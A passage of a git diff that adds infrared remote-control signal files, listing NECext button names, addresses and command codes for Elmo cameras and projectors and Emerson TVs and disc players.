KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: key +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: pgm +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: tune_up +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: tune_down +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: envelope +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: preset_up +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: preset_down +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir new file mode 100644 index 000000000..209a7b109 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: backlight +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: irisopen +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: id +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: irisclose +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: focusnear +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: irisauto +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: focusfar +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: focusauto +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: cursor +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: tele +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: wide +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir new file mode 100644 index 000000000..6fe75b1ae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: PRESET +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 00 00 00 00 +# +name: CAMERA_ID +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: RIGHT_B +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: CLOSE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: AUTO_FOCUS +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 19 00 00 00 +# +name: FOCUS_FAR +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: ZOOM_TELE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1D 00 00 00 +# +name: ZOOM_WIDE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 41 00 00 00 +# +name: DOWN_B +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 41 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 44 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 45 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 46 00 00 00 +# +name: LEFT_B +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 46 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 48 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 49 00 00 00 +# +name: UP_B +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4C 00 00 00 +# +name: OPEN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 54 00 00 00 +# +name: FOCUS_NEAR +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/132,132.ir b/assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/132,132.ir new file mode 100644 index 000000000..a90fad155 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/132,132.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: B_REV +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 09 00 00 00 +# +name: B_ZOOM_WIDE +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 0A 00 00 00 +# +name: B_ZOOM_TELE +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 0B 00 00 00 +# +name: B_FWD +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 0C 00 00 00 +# +name: B_IRIS_CLOSE +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 0D 00 00 00 +# +name: B_ZERO_RESET_FWD +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 0E 00 00 00 +# +name: B_ZERO_RESET_REV +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 0F 00 00 00 +# +name: B_FOCUS_F +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 11 00 00 00 +# +name: B_FOCUS_N +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 12 00 00 00 +# +name: B_LAMP_ON +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 13 00 00 00 +# +name: B_LAMP_OFF +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 14 00 00 00 +# +name: B_IRIS_OPEN +type: parsed +protocol: NECext +address: 84 84 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/134,134.ir b/assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/134,134.ir new file mode 100644 index 000000000..df03e0e36 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/134,134.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: A_REV +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 09 00 00 00 +# +name: A_ZOOM_WIDE +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 0A 00 00 00 +# +name: A_ZOOM_TELE +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 0B 00 00 00 +# +name: A_FWD +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 0C 00 00 00 +# +name: A_IRIS_CLOSE +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 0D 00 00 00 +# +name: A_ZERO_RESET_FWD +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 0E 00 00 00 +# +name: A_ZERO_RESET_REV +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 0F 00 00 00 +# +name: A_FOCUS_F +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 11 00 00 00 +# +name: A_FOCUS_N +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 12 00 00 00 +# +name: A_LAMP_ON +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 13 00 00 00 +# +name: A_LAMP_OFF +type: parsed +protocol: NECext +address: 86 86 00 00 +command: 14 00 00 00 +# +name: A_IRIS_OPEN +type: parsed +protocol: NECext +address: 86 86 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir new file mode 100644 index 000000000..56219efd9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: FC_SCAN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: FC_MEMO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: TV_/_CATV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: CHANNEL_-_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 1-- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: CHANNEL_-_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_-_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: PC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: PC_MEMO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: PC_SCAN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: VOLUME_-_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/TV/135,34.ir b/assets/resources/infrared/_CSV-IRDB_/Emerson/TV/135,34.ir new file mode 100644 index 000000000..7fa039985 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Emerson/TV/135,34.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: A-B +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 43 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 50 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 52 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 53 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 57 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 58 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5B 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 60 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 70 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 71 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 72 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 73 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 79 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 7A 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 7B 00 00 00 +# +name: V.SURR +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 81 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: C6 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: C7 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: C8 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: C9 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: CB 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 87 22 00 00 +command: CD 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: CD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 87 22 00 00 +command: CD 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: CF 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: D0 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: DF 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: E0 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: E1 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: E2 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: E3 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: E4 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: E5 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: E6 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: E7 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: E8 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: E9 00 00 00 +# +name: 100+ +type: parsed +protocol: NECext +address: 87 22 00 00 +command: EC 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: EF 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: F0 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: F1 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: F3 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: F6 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: F7 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 87 22 00 00 +command: FA 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 87 22 00 00 +command: FB 00 00 00 +# +name: C.RESET +type: parsed +protocol: NECext +address: 87 22 00 00 +command: FC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir b/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir new file mode 100644 index 000000000..1fa66fb51 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 41 00 00 00 +# +name: KEY_AB +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 43 00 00 00 +# +name: X_KEY_OPENCLOSE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 44 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 45 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 46 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 47 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 48 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 49 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4E 00 00 00 +# +name: X_KEY_REPEAT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 50 00 00 00 +# +name: X_KEY_PLUSTEN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 51 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 52 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 53 00 00 00 +# +name: KEY_DISPLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 55 00 00 00 +# +name: X_KEY_SEARCHMODE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 57 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 58 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5B 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 60 00 00 00 +# +name: X_KEY_TOPMENU +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 70 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 71 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 72 00 00 00 +# +name: X_KEY_RETURN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 73 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 74 00 00 00 +# +name: X_KEY_LEFTARROW +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 75 00 00 00 +# +name: X_KEY_RIGHTARROW +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 76 00 00 00 +# +name: X_KEY_UPARROW +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 77 00 00 00 +# +name: X_KEY_DOWNARROW +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 78 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 79 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 7A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 7B 00 00 00 +# +name: X_KEY_VSURR +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir b/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir new file mode 100644 index 000000000..57b82afc9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: stop/clear +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 20 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir b/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir new file mode 100644 index 000000000..cc93eadee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0F 00 00 00 +# +name: QuickView +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 10 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 14 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 15 00 00 00 +# +name: SetDown +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 16 00 00 00 +# +name: Call +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 17 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 18 00 00 00 +# +name: Reset +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 19 00 00 00 +# +name: Caption +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 1C 00 00 00 +# +name: CapChan +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir b/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir new file mode 100644 index 000000000..45eb2f486 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 0D 00 00 